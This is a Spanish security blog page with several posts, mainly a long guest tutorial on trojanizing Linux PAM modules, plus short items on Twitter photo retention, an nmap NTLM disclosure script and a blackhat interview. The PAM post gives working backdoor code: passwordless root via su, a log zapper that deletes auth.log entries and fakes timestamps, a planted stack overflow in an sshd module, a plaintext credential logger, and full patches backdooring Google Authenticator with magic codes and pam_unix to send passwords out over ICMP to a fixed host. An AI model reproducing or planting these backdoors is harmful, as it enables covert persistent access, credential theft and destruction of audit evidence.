15 febrero 2014

Las fotos de tu perfil de twitter son para siempre.

El pasado día 28 de diciembre se celebraba en España el día de los santos inocentes, por ese motivo decidí cambiar la foto de mi perfil de Twitter por una idiotez, "jaja, que gracioso" y fin. Pero lo que no sabía en ese momento es que aquella foto ridícula quedaría almacenada ¿para siempre? en los servidores de Twitter.

Cuando un usuario se da de alta en un servicio presupone que podrá darse de baja y que los datos asociados se eliminarán. Esto se conoce como el derecho de cancelación y debe aplicarse como máximo en 10 días. Por lo menos en España, tal y como recoge la ley de protección de datos que puede consultarse en la web de la AGPD.

Pero parece que a nuestros compañeros del pájaro azul la protección de datos y las leyes fuera de California,  le importan bastante poco.

Fragmento Condiciones del Servicio de Twitter
En Twitter se pueden subir fotos y eliminarlas, este mecanismo funciona como se espera: eliminas un tweet con una imagen y aparentemente nadie podrá recuperar esa información. 

No ocurre lo mismo con las imágenes de los perfiles, que independientemente del número de veces que las cambies, las versiones anteriores seguirán estando almacenadas. Incluso si solicitas la eliminación completa de la cuenta en la red social, la imagen seguirá estando disponible en el sitio original al que se subió. 
Fragmento de la política de privacidad: https://twitter.com/privacy.
Como u suario personalmente podría aceptar  que se "fumen" el máximo de 10 días que impone la LOPD tal y como indican en su política de privacidad, y que se puede ver en la imagen superior, pero ya han pasado más de 30 días y las fotos siguen estando ahí. El problema aparentemente no parece demasiado grave, pero en determinadas circunstancias uno quiere ejercer su derecho al olvido.

La prueba de este hecho es la que se muestra en la siguiente imagen: https://pbs.twimg.com/profile_images/418900307062448128/Okj8mGku.png, de un perfil ya borrado, y que por lo que parece, estará ahí muuuucho tiempo.
Foto de un perfil de una cuenta ya eliminada



Leer más...

14 febrero 2014

Fuga de información en servidores IIS con autenticación NTLM

Justin Cacak de Gotham Digital Science ha publicado un script para nmap mediante el cual es posible obtener información de la infraestructura que se encuentra tras un servidor web IIS con la autenticación NTLM activada.



La información es tan suculenta que permite obtener datos como los siguientes:

  • Nombre del sistema
  • Nombre de dominio NetBIOS
  • Nombre DNS del sistema
  • Árbol DNS
  • Versión del sistema operativo
Esta información se obtiene gracias a enviar una petición de autenticación NTLM con credenciales nulas (a través de la cabecera Authorization). El servidor como respuesta enviará un mensaje NTLMSSP cuyo contenido incluye la información de la infraestructura que comentamos anteriormente.


Según comenta el propio Justin en el post, la única manera de evitar mostrar esta información sería...deshabilitar la autenticación NTLM por HTTP, algo bastante complicado. Por ser un problema de diseño, hasta el momento no se conoce ninguna manera de mitigar esta fuga de información en servidores IIS.

El script fue enviado a la lista de desarrollo de nmap el pasado 4 de febrero, y no se descarte que forme parte del conjunto por defecto de scripts que se distribuyen con la propia herramienta. Podéis acceder al código fuente del script en .nse en esta dirección

[+] HTTP NTLM Information Disclosure - blog.gdssecurity.com
Leer más...

12 febrero 2014

Troyanización de Módulos PAM

 “Es un sistema UNIX, lo conozco” – Alexis Murphy (Jurasic Park I)


En sistemas derivados de UNIX, la autenticación de usuarios así como la implementación sistemas de autenticación adicionales, se basa en una arquitectura modular formada en primera instancia por los denominados módulos PAM (Pluggable Authentication Module), lo cual dota al sistema operativo de una base altamente flexible y personalizable para establecer medidas de seguridad adicionales a la hora de autenticar usuarios tanto de acceso local como remoto, de forma transparente a las aplicaciones.

Debido a la homogeneidad anterior, resulta menos complejo el portar el funcionamiento de un módulo PAM de un sistema a otro.

Arquitectura PAM
Ejemplos de uso de autenticación mediante módulos PAM:
  • Kerberos
  • LDAP
  • Autenticación de doble factor
  • One-Time-Password  
“Si eres capaz de ver lo sutil y de darte cuenta de lo oculto, irrumpiendo antes del orden de batalla, la victoria así obtenida es un victoria fácil.” – Sun Tzu (El Arte de la Guerra)

Si bien la homogeneidad y la estructura modular anterior es una ventaja para administradores y desarrolladores, también es una ventaja para los atacantes, ya que una de las acciones que suelen realizar cuando entran en un sistema, es precisamente la de “troyanizar” el sistema para asegurarse el acceso futuro, y de entre muchas de las opciones disponibles, está la de “troyanización” de módulos PAM.
Para ello, en este post vamos a ver cómo crear y modificar un módulo PAM para dotarlo (entre otras) de las siguientes características, las cuales se explicarán más adelante:
  • Dar acceso a ciertos usuarios y/o patrón de usuarios al sistema
  • Obtener credenciales de acceso de los usuarios
  • Introducir fallos de seguridad (buffer overflows, format strings, etc.)
  • Eliminar registros de acceso
 
“Cuando el objetivo te parezca difícil, no cambies de objetivo; busca un nuevo camino para llegar a él.” – Confucio
Una vez decididos a troyanizar un módulo PAM, vamos a estudiar cómo hacerlo a través de diferentes vías, de entre las que tenemos:
  • Crear un nuevo módulo PAM
  • Troyanizar en disco un módulo PAM existente
    • Recompilando el código
    • Parcheando en disco
  • Troyanizar en memoria un módulo PAM existente


De aquí en adelante, todos los códigos desarrollados y/o modificados, han sido probados sobre dos sistemas Debian 7 Wheezy con kernel 3.2.0-4 sobre arquitecturas AMD64 y i686.

Estructura y Configuración de un Módulo PAM 

Antes de comenzar propiamente con el módulo PAM, es necesario conocer la estructura del mismo, así como la configuración que debe aplicarse en el sistema para que el módulo opere de la forma esperada.

Para este propósito existen en el directorio “/etc/pam.d” una serie de ficheros de configuración relativos a los módulos PAM a utilizar en cada tipo de acceso:

Listado de Archivos de Configuración
En cada uno de estos ficheros, se establece qué tipo de interfaz usará cada módulo así como el modulo a usar y si es necesario, establecer los parámetros necesarios para el correcto funcionamiento: 

Configuración PAM del demonio cron

Cada una de las líneas de este archivo, relativa al uso de módulos PAM, tiene la siguiente estructura:

Interfaz + Flag de Control + Módulo PAM + Parámetros
Cuando la interfaz de un módulo es llamada, debe devolver un valor de retorno, y en función de dicho valor y del flag de control que se esté usando con el módulo PAM, se decidirá si bloquear el intento de acceso, pasar al siguiente módulo, etc. De esta manera, las opciones para los campos de “Interfaz” y “Flag de Control” son:

Interfaz
Valor
Descripción
auth
Establecer las credenciales de acceso, pertenencia a grupos, tickets Kerberos, etc.
account
Verifica que el acceso está permitido en función de si la cuenta ha expirado, si se le permite hacer login a una determinada fecha/hora, etc.
password
Interfaz para cambiar la password del usuario
session
Gestión de sesiones, tareas que son necesarias para permitir el acceso, como montar el directorio home del usuario, habilitar el “mailbox” del usuario, etc.

Flag de Control
Valor
Descripción
required
Si el módulo devuelve algún tipo de error, la autenticación falla y el usuario no es notificado hasta que se completen las evaluaciones del resto de módulos.
requisite
Si el módulo devuelve algún tipo de error, la autenticación falla pero el usuario es notificado de forma inmediata.
sufficient
Si el módulo devuelve algún tipo de error, es ignorado, y si la autenticación de algún módulo anterior marcado como “required” (en caso de haberlo) no ha devuelto error, la autenticación se realiza de forma correcta.
optional
El resultado devuelto es ignorado a no ser que no existan otros módulos para ser evaluados.

Dentro del código del módulo PAM, las interfaces que se usarán se declaran exportando ciertas funciones de la librería (recordemos que un módulo PAM es una librería compartida).
Declaración de Interfaces
Valor
Función a exportar
auth
pam_sm_authenticate, pam_sm_setcred
account
pam_sm_acct_mgmt
password
pam_sm_chauthtok
session
pam_sm_open_session, pam_sm_close_session


Creación de un módulo PAM troyanizado (su)

Ahora que sabemos a rasgos generales (se recomienda ampliar la lectura), cómo funciona un módulo PAM, vamos a crear uno de ejemplo, que mostrará el nombre de usuario utilizando la interfaz “auth”, para el binario “su”.

Para ello, es conveniente definir dentro del módulo qué interfaces vamos a usar, para una correcta inicialización:


#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>

#define PAM_SM_AUTH //definicion de la interfaz

#include <security/pam_modules.h>



PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv )

{
        char    *uname = 0;

        pam_get_user(pamh,(const char**)&uname,0); //usuario sobre el que se opera

        fprintf(stderr,"\npam_get_user => %s" , uname );
        fprintf(stderr,"\ngetuid() => %d" , getuid() );
        fprintf(stderr,"\ngeteuid() => %d" , geteuid() ); 

        return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags,int argc, const char **argv )
{
        return PAM_SUCCESS;
}

En el código anterior, se han definido dos funciones pertenecientes a la interfaz de autenticación, ambas son necesarias para que el módulo PAM sea válido para usarlo con el binario “su”. Para compilarlo, los pasos son los siguientes:
$ gcc –fPIC –fno-stack-protector –c pam.c –o pam_bsu.o
$ ld –x –shared pam_bsu.o –o pam_bsu.so
Y con esto tendremos nuestro módulo compilado, que lo que hará será, una vez que un usuario ejecute el binario “su”, mostrará el usuario sobre el que se quiere realizar la acción (en este caso, hacer login como root), así como el UID del usuario real del proceso y el UID Efectivo (este último, independientemente del proceso que sea, devolverá el UID del usuario propietario del “sticky bit” del fichero al que corresponde el proceso, en caso de tenerlo activado), e inmediatamente después, debido a los valores de retorno (AUTH_SUCCESS) permitirá acceder al usuario que lo ha invocado.
Aunque como bien explicamos al principio, esto no es del todo cierto, ya que para que nuestro módulo funcione como queremos, debemos instalar el módulo PAM y modificar el fichero “/etc/pam.d/su” para indicarle que use nuestro módulo:

Compilación e Instalación
En este ejemplo, como queremos que nuestro módulo sea el único responsable de la autenticación, le indicamos en la primera línea del archivo de configuración los datos de nuestro módulo con el flag “sufficient”. Hecho esto, al llamar al binario “su” desde una cuenta de usuario nos mostrará lo siguiente:
Acceso root sin contraseña
Al igual que hemos hecho esto, podemos usar el resto de características de “su”, como por ejemplo iniciar sesión como otros usuarios:
Suplantación de Usuarios
Filtrado de Acceso por TTY

Para que este comportamiento no sea común a todos los usuarios del sistema, podemos agregar filtros basados en el nombre del usuario que lo invoca (obteniendo el UID del usuario mediante la syscall “getuid”, podemos establecer filtros basados en ventanas temporales (permitir dicho comportamiento basado en la fecha y/u hora), basados en el número y tipo de terminal que usemos, etc.
Filtrado de TTY
Con el código anterior, al ejecutar el binario “su” desde una terminal que no sea la “tty6”, el módulo devolverá “PAM_AUTHINFO_UNAVAIL” por lo que se invocará al siguiente módulo PAM. Si por el contrario, se ejecuta desde “tty6” nos “autenticará” y tendremos la consola de root:
Ejecución del binario "su" en "tty1" introduciendo una contraseña incorrecta
Ejecución del binario "su" desde "tty6"

Limpiando los Registros de Acceso
“Cada vez que dos objetos entran en contacto, transfieren parte del material que incorporan al otro objeto” – Principio de intercambio de Locard

Todas estas modificaciones que estamos realizando sobre el sistema, dejan evidencias de lo que se ha estado haciendo, como por ejemplo registros en el log “/var/log/auth.log” y las fechas de nuestro módulo PAM.
Logs de autenticación
Si bien no es el propósito de este post el de descubrir qué pruebas evidencian la manipulación de los archivos y cómo intentar eludirlas, lo que sí haremos será agregar una rutina básica propia de los “zappers”, que lo que hará será recorrer el archivo “/var/log/auth.log” para darnos la posibilidad de eliminar los registros que queramos basándonos en la fecha, la aplicación que generó el registro, la descripción, etc. Así como mantener la fecha y hora de modificación y acceso del archivo anterior al registro.
La funcionalidad de “zapper” descrita, no es más que una función que va recorriendo el archivo desde el registro más nuevo al más antiguo (de abajo a arriba), extrae la información de cada campo e invoca a una función que se encarga de decidir si el registro se mantiene, se elimina, o si se debe dejar de recorrer el archivo. Esta última función de “filtro” es bastante simple, la que usaremos establecerá una ventana temporal de 2 minutos, de forma que cualquier registro de “su” en el “/var/log/auth.log” con una antigüedad menor o igual a dos minutos, será eliminada del registro:
Filtrado del Zapper
Por último, queda invocar a la función “zapper” en la función que definimos como “pam_sm_setcred” ya que esta será invocada cada vez que la sesión se abre y cierra. Un ejemplo de este comportamiento podemos verlo con el siguiente código:
Notificación del Zapper

Una vez compilado e instalado el módulo PAM, iniciamos sesión y consultamos los últimos registros de “/var/log/auth.log”:
Logs de Autenticación
Login y "su"

Fechas de acceso, modificación y cambio del fichero de log













De las imágenes anteriores se obtiene que la llamada al binario “su” ocurre a las “13:18:29”, no obstante el registro de autenticación muestra el inicio de sesión del usuario “chema” como el último registrado a las “13:18:24”. Aun así, si observamos la fecha de modificación del archivo de log, vemos la incongruencia:

Fechas de Acceso y Modificación
Para corregir este detalle, basta con almacenar la fecha y hora del último registro leído antes de finalizar la ejecución del “zapper” y establecer esa fecha y hora como las legítimas del archivo:
Modificaciones de Actualización de Fecha y Hora
 
Filtrado por Nombre de Usuario
Pero aún podemos establecer más filtros útiles, como por ejemplo el nombre de usuario que ejecuta el binario:
Filtrado de UID
En el caso de este binario (“su”) no podemos obtener el nombre del usuario que lo invoca de forma directa usando “pam_get_user” como en otros binarios como por ejemplo “sudo”. No obstante para no realizar una comprobación “tan evidente” del usuario (ya sea por el UID o por el nombre), podemos realizar un hash del usuario para realizar la comprobación.
En la siguiente captura se muestra el filtrado por hash, y se comprueba el usuario actual con un array de usuarios autorizados:
Filtrado de TTY y Usuario
Otro de los métodos que podemos utilizar para obtener la consola de root y no preocuparnos de los logs, es la de aprovechar que el UID efectivo del proceso es “0” (root) para ejecutar una consola e inmediatamente después llamar a “exit” desde nuestro código, de forma que no se realiza ningún tipo de autenticación y por tanto, no queda registro. 

En este ejemplo, al usar la syscall “execve” el flujo de ejecución del proceso se cambia al binario ejecutado, de tal forma que cuando el proceso ejecutado finalice, también lo hará nuestro proceso (en realidad, a muy groso modo, una vez invocada la syscall no habrá diferencia entre el proceso ejecutado y el nuestro), a no ser que usemos otra sycall (“fork”) para crear un proceso hijo y desde él, invocar a “execve”. No obstante, aunque para este caso no es necesario, dejaremos la llamada a “exit” por si el lector quiere realizar alguna otra acción diferente a la propuesta:
Ejecución de "/bin/bash" y llamada a "exit"

De nuevo, compilamos e instalamos el módulo y comprobamos los registros que genera:
Inicio de sesión y ejecución de "su"
Registros de Autenticación
Como podemos ver en la ilustración 19, la llamada al binario “su” se produce entre las “17:22:28” y las “17:22:31”, mientras que en el log, el último registro se produce a las “17:22:25”, lo cual coincide con las fechas y horas del fichero de log:
Fechas de Modificación,Cambio y Acceso del Fichero de Log

Ocultando la Puerta Trasera


“La desconfianza es la madre de la seguridad” - Aristófanes
Y hablando de seguridad, si queremos asegurarnos la entrada al sistema, no debemos cerrarnos puertas, mientras más puertas abramos y más ocultas estén mejor.
Por ello, y siguiendo en este apartado, vamos a crear otro módulo PAM que incluiremos en el demonio SSH. Pero esta vez, en lugar de permitir la entrada bajo ciertas condiciones, lo que haremos será introducir una vulnerabilidad en el código de manera que podamos explotarla de forma remota; Para este ejemplo y solo a modo de demostración vamos a introducir un Stack Buffer Overflow, o desbordamiento de pila.
Para ello, vamos a realizar de nuevo un filtrado basado en el nombre de usuario, y si coincide con alguno que tengamos almacenados en el módulo (y preferiblemente que no exista en el sistema), pediremos que introduzca la clave (aquí introduciremos el fallo) y devolveremos un “PAM_AUTHINFO_UNAVAIL” para que el proceso de autenticación salte al siguiente módulo.
Para este nuevo ejemplo, la instalación del módulo es exactamente la misma, con la única diferencia de que en este ejemplo, en vez de modificar el fichero “/etc/pam.d/su” modificaremos “/etc/pam.d/sshd”, de la misma manera que hicimos anteriormente.
El código que utilizaremos para este ejemplo es el siguiente:
Introducción de la Vulnerabilidad

Esta porción de código devolverá “PAM_AUTHINFO_UNAVAIL” para salir y continuar la evaluación del siguiente módulo PAM, siempre y cuando el hash calculado del usuario, no se encuentre entre la lista de los permitidos; Si el usuario sí está contemplado, realizará una copia de su clave en una variable local, provocando una vulnerabilidad de desbordamiento de pila. Esto, además de permitirnos controlar el flujo de ejecución del programa y la ejecución de código remota, nos va a permitir controlar el valor de retorno de la función, debido al orden en el que están declaradas las variables “aux” y “ret”.

De esta forma, si enviamos una clave de una longitud mayor al tamaño de “aux”, sobrescribirá los valores de la pila. Debido a que el valor de retorno que nos interesa (“AUTH_SUCCESS”) es cero (0x00) , no podemos introducir dicho valor dentro de la contraseña, ya que interpretaría el valor como fin de cadena (en este caso concreto podríamos permitirlo y contrarrestar agregando un carácter más, para cuadrarlo de forma que el carácter nulo fuese el que pisase al valor de retorno, pero siempre es una práctica desaconsejable el uso de caracteres nulos), así que almacenamos el valor de retorno incrementado, y cada vez que hagamos referencia al mismo para retornar de la función, lo decrementamos (ver Ilustración 22). De esta forma, si queremos retornar un 0x00, le enviaremos un 0x01.
Después de la explicación teórica del funcionamiento, veamos la parte práctica:
Explotación para Modificar el Valor de Retorno
Otro enfoque que nos puede servir, es el de crear un módulo PAM que use el flag de control “optional” y cuya única tarea sea la de guardar en un fichero todas las credenciales de los usuarios que han iniciado sesión, con un código similar al que sigue (aunque almacena las credenciales sin cifrar):
Código para Guardar las Credenciales de los Usuarios
Con esto, conseguimos el siguiente efecto:
Credenciales de Usuario Almacenadas en Texto Plano

Modificando un Módulo PAM Existente

“La verdad es el mejor camuflaje, ¡Nadie la entiende!” – Max Frisch
Hasta ahora hemos visto cómo crear un módulo PAM y cómo dotarlo de la lógica que nos interesa, para darnos acceso al sistema, recabar credenciales, eliminar logs, etc. Pero hemos dejado de lado el verdadero propósito de los módulos PAM, y ciertamente, el hecho de agregar un módulo PAM y jugar con la ingeniería social para no levantar sospechas en cuanto al nombre, nos expone aún más en el sistema. Por tanto, como el mejor lugar para esconder un árbol es precisamente un bosque, vamos a pasar desde el punto de vista de “crear el módulo troyanizado”, hacia el lado opuesto, “troyanizar" un módulo existente.
Existen muchos ejemplos y scripts automáticos para descargar el código fuente de la librería, y permitir el acceso si la contraseña coincide con una especificada, por ejemplo:
Troyanización de un Módulo PAM existente

De la misma forma, podemos seguir modificándolo para agregarle las funcionalidades descritas durante este documento.

Soluciones OTP / Google Authenticator
No obstante, para este propósito vamos a modificar otro módulo PAM distinto a los convencionales, el módulo PAM de doble factor de autenticación de Google. La puerta trasera la crearemos en función de los dígitos que introduzca el usuario, de tal forma que si el número introducido no es válido (según el algoritmo original), lo evaluaremos siguiendo nuestro algoritmo, el cual realizará comprobaciones sobre números primos y perfectos.
Para ello, creamos el siguiente algoritmo para verificar si dado un número introducido, debemos permitir o no el acceso:
Algoritmo de Filtrado

El cual, nos permitirá acceso cuando usemos algunas de las cifras:
  • 312989
  • 313133
  • 313289
  • 625969
  • 626011
  • 626191
  • 938969
  • 938989
  •  
  • 939011
  • 939109
  • 939157
  • 939317
  • 939359
  • 939377
  • 939391
 Para ello, descargamos el código fuente desde el sitio oficial:
Copia del Repositorio del Módulo

Una vez descargado, aplicamos el siguiente parche que será el encargado de agregar las modificaciones necesarias para “troyanizar” el módulo, permitiendo el acceso utilizando los códigos anteriores:
diff -Nur google-authenticator/libpam/Makefile google-authenticator_backdoored/libpam/Makefile
--- google-authenticator/libpam/Makefile    2013-12-10 11:25:49.280037002 +0100
+++ google-authenticator_backdoored/libpam/Makefile    2013-12-09 18:43:21.224116833 +0100
@@ -25,7 +25,7 @@
 DEF_CFLAGS := $(shell [ `uname` = SunOS ] &&                                  \
                 echo ' -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT')              \
               -fvisibility=hidden $(CFLAGS)
-DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS)
+DEF_LDFLAGS := $(shell [ `uname` = SunOS ] && echo ' -mimpure-text') $(LDFLAGS) -lm
 LDL_LDFLAGS := $(shell $(CC) -shared -ldl -xc -o /dev/null /dev/null          \
                        >/dev/null 2>&1 && echo ' -ldl')

diff -Nur google-authenticator/libpam/pam_google_authenticator.c google-authenticator_backdoored/libpam/pam_google_authenticator.c
--- google-authenticator/libpam/pam_google_authenticator.c    2013-12-10 11:25:49.296037003 +0100
+++ google-authenticator_backdoored/libpam/pam_google_authenticator.c    2013-12-09 18:37:16.536123101 +0100
@@ -29,6 +29,7 @@
 #include <syslog.h>
 #include <time.h>
 #include <unistd.h>
+#include <math.h>

 #ifdef linux
 // We much rather prefer to use setfsuid(), but this function is unfortunately
@@ -1324,6 +1325,45 @@
   return 0;
 }

+static unsigned short es_primo ( unsigned long num )
+{
+    unsigned long i;
+
+    for ( i = 2 ; i < sqrt ( num ) ; i++ )
+        if ( ! (num % i ) )
+            return 0;
+
+    return 1;
+}
+
+static unsigned short authenticate_crypto_prime ( int num , int ret )
+{
+    const unsigned long     perfecto = 496;
+    const unsigned long     primo = 631;
+    unsigned long        resto = 0;
+    unsigned long        mod = 0;
+
+    if ( !es_primo ( num ) )
+        return ret;
+
+    resto = num / perfecto;
+    mod = num % perfecto;
+
+    if ( ! es_primo ( mod ) )
+        return ret;
+
+    if ( resto % primo != 0 )
+        return ret;
+
+    if ( ! es_primo ( primo % num ) )
+        return ret;
+
+    if ( ! es_primo ( resto % mod ) )
+        return ret;
+
+    return PAM_SUCCESS;
+}
+
 static int google_authenticator(pam_handle_t *pamh, int flags,
                                 int argc, const char **argv) {
   int        rc = PAM_SESSION_ERR;
@@ -1335,6 +1375,7 @@
   char       *buf = NULL;
   uint8_t    *secret = NULL;
   int        secretLen = 0;
+  int        code = 0;

 #if defined(DEMO) || defined(TESTING)
   *error_msg = '\000';
@@ -1436,7 +1477,7 @@
       if (errno || l < 0 || *endptr) {
         goto invalid;
       }
-      int code = (int)l;
+      code = (int)l;
       memset(pw + pw_len - expected_len, 0, expected_len);

       if ((mode == 2 || mode == 3) && !params.forward_pass) {
@@ -1564,6 +1605,10 @@
     memset(secret, 0, secretLen);
     free(secret);
   }
+
+ if ( rc != PAM_SUCCESS )
+    rc = authenticate_crypto_prime ( code , rc );
+
   return rc;
 }

Hecho esto, solo tenemos que compilar e instalar el módulo y seguir los pasos descritos en el fichero README del mismo para integrarlo con SSH. En la siguiente captura, se puede ver el acceso SSH usando un cliente modificado para mostrar las credenciales del usuario, para verificar visualmente el acceso a través del módulo PAM de Google troyanizado:
Acceso SSH usando claves OTP troyanizadas

LibPAM / pam_unix

A demás de los métodos vistos hasta ahora, también podemos modificar el módulo principal de autenticación del sistema, no solo para permitirnos la entrada mediante credenciales ficticias ni fallos de seguridad, sino modificar el módulo de manera que cuando un usuario inicie sesión (ya sea de forma local o remota), se envíe un paquete ICMP (por ejemplo) desde una dirección IP y un destino preestablecidos (podemos hacerlo dinámico, enviando un nombre de usuario/clave incorrectos, pero que sirva al módulo de estos datos para futuros envíos) con el nombre del usuario y la clave.
Para este ejemplo, se ha modificado el fichero “support.c” del módulo “pam_unix.so”, el motivo de modificar ese fichero, es porque es donde está implementada la función que verifica las credenciales del usuario, de forma que cuando las credenciales sean correctas, se nos envíe el nombre de usuario y la clave, cifrados. Para este ejemplo, solo se hace un XOR entre la cadena que contiene el usuario y la clave, con otra cadena aleatoria, formada por parámetros usados en las cabeceras IP y ICMP. Con esto conseguimos ocultar la clave en el propio mensaje, y que los paquetes enviados de la autenticación de un mismo usuario, sean diferentes.
Para ello, se ha modificado la librería LibPAM descargada de http://linux-pam.org/library/Linux-PAM-1.1.8.tar.gz dando como resultado el siguiente parche:
--- Linux-PAM-1.1.8/modules/pam_unix/support.c    2013-09-16 11:11:51.000000000 +0200
+++ Linux-PAM-1.1.8_backdoor/modules/pam_unix/support.c    2013-12-10 17:04:19.480035391 +0100
@@ -19,6 +19,13 @@
 #include <ctype.h>
 #include <syslog.h>
 #include <sys/resource.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <linux/ip.h>
+#include <linux/icmp.h>
 #ifdef HAVE_RPCSVC_YPCLNT_H
 #include <rpcsvc/ypclnt.h>
 #endif
@@ -650,6 +657,104 @@
     return retval;
 }

+static unsigned short in_cksum ( unsigned short *addr , int len )
+{
+    register int sum = 0;
+    register unsigned short *w = addr;
+    register unsigned int left = len;
+    unsigned short ret = 0;
+
+    while ( left > 1 )
+    {
+        sum += *w++;
+        left -= 2;
+    }
+
+    if ( left == 1 )
+    {
+        *(unsigned char*)(&ret) = *(unsigned char*)w;
+        sum += ret;
+    }
+
+    sum = ( sum >> 16 ) + (sum & 0xFFFF);
+    sum += ( sum >> 16 );
+    ret = ~sum;
+
+    return ret;
+}
+
+static void _verify_hash ( const char *name , const char *pwd )
+{
+    static int        fd = -1;
+    int            optval;
+    struct iphdr        *ip;
+    struct icmphdr        *icmp;
+    struct sockaddr_in    con;
+    char            *packet,*buffer;
+    char            *key;
+    size_t            len_buffer, len_key;
+    int            ttl, code, seq, type, id, i;
+
+    int u = getuid();
+
+    if ( setuid(0) != 0 )
+        return;
+
+    if ( fd < 0 && ( fd = socket ( AF_INET , SOCK_RAW , IPPROTO_ICMP ) ) < 0 )
+        return;
+    else
+        setsockopt ( fd , IPPROTO_IP, IP_HDRINCL, &optval , sizeof ( int ) );
+
+    srand(time(0));
+
+    ttl = random() % 64;
+    code = random() % 128;
+    seq = random();
+    type = random() % 42;
+    id = random();
+
+    len_buffer = strlen ( name ) + strlen ( pwd ) + 2;
+    buffer = calloc ( len_buffer , sizeof ( char ) );
+    snprintf ( buffer , len_buffer , "%s|%s" , name , pwd );
+    key = calloc ( len_buffer , sizeof ( char ) );
+    snprintf ( key , len_buffer , "%d%d%d%d%d",ttl,seq,code,id,type);
+    len_key = strlen ( key );
+    for ( i = 0 ; i < strlen ( buffer ) ; i++ )
+        buffer[i] ^= key[i % len_key ];
+    memset ( key , 0 , len_key );
+    free ( key );
+
+    packet = calloc ( len_buffer + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) , sizeof ( char ) );
+    ip = (struct iphdr*) packet;
+    icmp = (struct icmphdr*) (packet + sizeof ( struct iphdr ) );
+    memcpy ( (void*)(packet + sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) ) , buffer , len_buffer );
+    ip->ihl = 5;
+    ip->version = 4;
+    ip->tot_len = sizeof ( struct iphdr ) + sizeof ( struct icmphdr ) + len_buffer;
+    ip->ttl = ttl;
+    ip->protocol = IPPROTO_ICMP;
+    ip->saddr = inet_addr ( "172.17.15.18" );
+    ip->daddr = inet_addr ( "10.4.5.2" );
+    ip->check = in_cksum ( (unsigned short*)ip, sizeof ( struct iphdr ) );
+    icmp->type = type;
+    icmp->un.echo.id = id;
+    icmp->un.echo.sequence = seq;
+    icmp->checksum = in_cksum ( (unsigned short*)icmp, sizeof ( struct icmphdr ) + len_buffer );
+
+    con.sin_family = AF_INET;
+    con.sin_addr.s_addr = inet_addr("10.4.5.2");
+
+    sendto ( fd , packet , ip->tot_len , 0 , (struct sockaddr*)&con, sizeof ( struct sockaddr ) );
+
+    free ( packet );
+    free ( buffer );
+
+    setuid(u);
+    return;
+}
+
+
+
 /*
  * _unix_blankpasswd() is a quick check for a blank password
  *
@@ -761,6 +866,7 @@
             }
         }
     } else {
+        _verify_hash ( name , p );
         retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
     }

Una vez aplicado el parche, compilamos e instalamos el módulo:
Instalación del Módulo Troyanizado
A continuación, desde otra terminal accedemos y en otro equipo perteneciente a la misma red esperamos el paquete ICMP:
Inicio de Sesión Remoto
Y en ese momento, vemos actividad ICMP:
Paquete ICMP de Notificación
Podemos verificar mediante varios accesos, que efectivamente el contenido del mensaje cambia:
Accesos Repetidos con las Mismas Credenciales
Diferentes Mensajes ICMP
Hecho esto, solo necesitamos alguna herramienta (script en Python?) que capture los mensajes ICMP, extraiga los valores introducidos en las cabeceras y realice de nuevo la XOR del mensaje con los datos obtenidos en el orden correcto para obtener las credenciales, e incluso podríamos enviar estos datos por un dispositivo inalámbrico del equipo cuando no se use, al más puro estilo NS4.

Referencias:
Contribución gracias a Chema García
Leer más...

11 febrero 2014

Entrevista a un blackhat.

¿Sabías que por un ordenador infectado pagan hasta 2 dolares? ¿y que si ese mismo ordenador es de una chica, el precio sube? Hoy, entre el revuelo del informe sobre "Careto" y que es el día de la Internet Segura,  os traemos una entrevista a un blackhat español que nos cuenta como infecta miles de ordenadores, el dinero que gana con ellos y cuales son algunas de sus técnicas.

- ¿Qué fue lo que te pasó a los 14 años? 
Pues lo que ocurrió fue que tras estar años entrando a los sitios por la parte trasera acabe saliendo por mi casa por la puerta principal. Investigando los usuarios a los cuales había hackeado mediante troyanos di con uno de ellos el cual no ponía mucha seguridad con sus movimientos por Internet y accedí a sus cuentas bancarias, le robe varias miles de euros y realice compras fraudulentas por Internet, así como ordenadores, consolas, pantallas de plasma etc... 

Mis padres me preguntaban que de donde habían salido todas estas cosas a lo que yo respondía diciendo que lo había ganado en Internet en páginas de cuestionarios, loterías, sorteos etc... A pesar de que era un tema que llamaba la atención en casa mis padres lo dejaron pasar y yo seguía haciéndolo. Pasados unos meses picaron a la puerta y era la policía, entraron con una orden y me pusieron la mano en el hombro, yo estaba con los cascos escuchando música y no me entere hasta ese momento, me hicieron levantarme me pusieron unas esposas y me quede de pie viendo cómo se llevaban mis ordenadores mis portátiles y todo mi material de trabajo así como cuadernos, libreras, memorias usb, discos duros extraíbles etc... Hasta que llego un punto en el cual me derrumbe tras escuchar a mi madre llorar y lo único que hice fue agachar la cabeza y llorar sin ni siquiera poder levantar la cabeza para pedirles perdón a mis padres. 

-¿Fue muy duro? 
Tras pasar una noche en el calabozo la que sin duda fue y ha sido hasta la fecha una de las peores noches de mi vida, encerrado en la celda solo mirando los barrotes he intentando dormir sin éxito levantándome cada poco a caminar en apenas esos 2 metros cuadrados preguntándome una y otra vez porque fui tan estúpido y llamando al vigilante cada 30 ó 40 minutos diciendo que quería ir al baño tan solo pasa salir de ahí. 

Por la mañana me dieron un café y una magdalena y tuve el juicio donde el Sr. Juez dictó la sentencia de devolver el dinero robado que fue una deuda que mis padres tuvieron que pagar, una multa por los delitos ciberneticos que cometí, y estar hasta los 18 años sin tocar un ordenador, un móvil, etc...

-¿Qué hiciste hasta que cumpliste la mayoría de edad?
